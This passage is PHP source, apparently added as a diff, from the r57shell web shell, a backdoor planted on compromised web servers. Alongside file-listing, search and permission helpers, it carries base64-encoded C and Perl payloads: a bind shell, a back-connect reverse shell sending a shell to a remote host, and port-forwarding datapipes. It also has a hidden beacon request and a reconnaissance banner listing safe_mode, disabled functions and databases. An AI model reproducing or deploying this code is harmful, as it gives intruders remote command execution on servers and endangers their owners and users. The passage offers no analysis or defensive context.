array('?? ??????? ????????? ??????','?????? ??????????'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id 